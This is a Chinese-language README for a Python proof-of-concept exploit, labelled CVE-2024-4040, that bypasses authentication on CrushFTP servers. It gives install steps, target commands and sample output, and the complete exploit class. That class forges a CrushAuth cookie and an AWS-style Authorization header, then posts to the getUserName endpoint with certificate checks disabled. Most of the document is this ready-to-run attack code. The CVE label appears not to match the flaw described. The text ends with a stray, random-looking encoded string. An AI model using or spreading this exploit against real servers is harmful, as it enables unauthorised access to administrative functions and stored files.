CrushFTP 认证绕过漏洞利用工具 (CVE-2024-4040)
这是一个针对 CVE-2024-4040 的 Python 概念验证(PoC)利用工具。该漏洞存在于 CrushFTP v10 及以下版本中,允许未经身份验证的攻击者通过伪造特定的 CrushAuth Cookie 和 AWS 风格的 Authorization 标头来绕过认证,从而非法访问内部 Web 功能。
功能特性
- ✅ 纯 Python 3 实现:轻量级,易于理解和修改。
- ✅ 安全的 Cookie 生成:使用 Python 的
secrets模块生成高强度的伪造CrushAuthCookie。 - ✅ 精确的标头伪造:构造符合要求的 AWS 风格
Authorization标头以触发漏洞。 - ✅ 内置 SSL 验证绕过:自动处理自签名证书或不安全的 SSL 连接,并抑制警告信息。
- ✅ 清晰的输出结果:命令行界面友好,清晰地显示利用过程和检测结果。
- ✅ 即时的漏洞判断:根据服务器响应自动判断目标是否存在漏洞。
- ✅ 无额外依赖:仅需要
requests库,安装简单。
安装指南
系统要求
- Python 3.x
- pip(Python 包管理器)
安装步骤
-
克隆本仓库到本地:
git clone https://github.com/your-repo/CVE-2024-4040.git cd CVE-2024-4040 -
(推荐)创建并激活一个 Python 虚拟环境:
python3 -m venv venv source venv/bin/activate # 在 Windows 上使用 `venv\Scripts\activate` -
安装所需的依赖库:
pip install requests
至此,所有准备工作已完成,可以开始使用。
使用说明
基础使用
通过命令行直接运行脚本,并指定目标 CrushFTP 服务器的 URL。
python CVE-2024-4040.py http://target-ip:8080
指定用户名
默认情况下,脚本使用用户名 crushadmin 进行尝试。如果目标系统使用其他已知的有效用户名,可以通过 --valid_username 参数指定。
python CVE-2024-4040.py http://target-ip:8080 --valid_username john_doe
参数概览
| 参数 | 类型 | 必填 | 默认值 | 描述 |
|---|---|---|---|---|
target_url | 位置参数 | 是 | 无 | CrushFTP 服务器的目标 URL。 |
--valid_username | 可选参数 | 否 | crushadmin | 目标系统上一个已知的有效用户名。 |
典型使用场景
测试易受攻击的服务器
假设您在授权测试中,有一台运行 CrushFTP 的服务器 192.168.1.10 监听在 8080 端口,您怀疑它可能存在漏洞。您可以运行以下命令进行验证:
python CVE-2024-4040.py http://192.168.1.10:8080
示例输出
[*] CrushFTP Authentication Bypass Exploit
[*] Crushing: http://192.168.1.10:8080
[*] Using username: crushadmin
[+] Exploit Result:
Status_Code : 200
Response_Text : {"getUserNameResponse":{"user_name":"crushadmin"}}
[+] CrushFTP Server is VULNERABLE!
输出结果清晰地显示了 HTTP 状态码、服务器返回的 JSON 响应,并最终给出了明确的漏洞判断。
核心代码
CrushFTPAuthBypassExploit 类
这是利用工具的核心类,封装了漏洞利用的所有逻辑。
class CrushFTPAuthBypassExploit:
def __init__(self, target_url, valid_username):
"""
初始化利用工具。
:param target_url: CrushFTP 服务器的目标 URL
:param valid_username: 一个有效的 CrushFTP 用户名
"""
self.target_url = target_url.rstrip('/')
self.username = valid_username
self.session = requests.Session()
def generate_auth_cookie(self):
"""
生成一个伪造的 CrushAuth cookie。
该 cookie 由时间戳和随机 token 组成,用于绕过认证检查。
"""
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
token = ''.join(secrets.choice(chars) for _ in range(30))
crushAuth = f"{int(time.time())}_{token}"
currentAuth = crushAuth[-4:]
return crushAuth, currentAuth
def exploit(self):
"""
尝试执行 CrushFTP 认证绕过漏洞利用。
构造包含恶意 Cookie 和 Authorization 头的请求,发送到存在漏洞的端点。
:return: 包含响应状态码和文本的字典,或错误信息。
"""
crushAuth, currentAuth = self.generate_auth_cookie()
# 构造恶意 Cookie
cookies = {
"CrushAuth": crushAuth,
"currentAuth": currentAuth
}
# 构造 AWS 风格的 Authorization 头,这是触发漏洞的关键部分
headers = {
'Authorization': f"AWS4-HMAC-SHA256 Credential={self.username}/",
'Host': urlparse(self.target_url).hostname,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
# 漏洞利用端点
endpoint = f"{self.target_url}/WebInterface/function/?command=getUserName&format=JSONOBJ&c2f={currentAuth}"
try:
# 发送 POST 请求,不验证 SSL 证书
response = self.session.post(
url=endpoint,
headers=headers,
cookies=cookies,
timeout=10,
verify=False
)
return {
'status_code': response.status_code,
'response_text': response.text
}
except requests.exceptions.RequestException as e:
return {'error': str(e)}
漏洞利用主逻辑
脚本的入口部分,负责解析命令行参数并驱动整个利用过程。
if __name__ == "__main__":
# 解析命令行参数
parser = argparse.ArgumentParser(description="Run the CrushFTP authentication bypass exploit.")
parser.add_argument('target_url', type=str, help="Target URL of the CrushFTP server (e.g., http://localhost:8080)")
parser.add_argument('--valid_username', type=str, default="crushadmin", help="A known valid username on the target system (default: crushadmin)")
args = parser.parse_args()
# 打印 Banner 信息
print("[*] CrushFTP Authentication Bypass Exploit")
print(f"[*] Crushing: {args.target_url}")
print(f"[*] Using username: {args.valid_username}")
# 创建利用对象并执行
exploit = CrushFTPAuthBypassExploit(args.target_url, args.valid_username)
result = exploit.exploit()
# 打印结果
print("\n[+] Exploit Result:\n")
for key, value in result.items():
print(f"{key.title():<15}: {value}")
# 判断漏洞是否存在
if (
result.get("status_code") == 200
and args.valid_username in result.get("response_text", "")
):
print("\n[+] CrushFTP Server is VULNERABLE!")
elif "error" in result:
print("\n[!] Exploit failed:", result["error"])
else:
print("\n[!] Server does not appear to be vulnerable.")
```FINISHED
6HFtX5dABrKlqXeO5PUv/5Y6ew2ouzOa90NG1khtQHUIMCPHJk0yc/HmWCJEse5z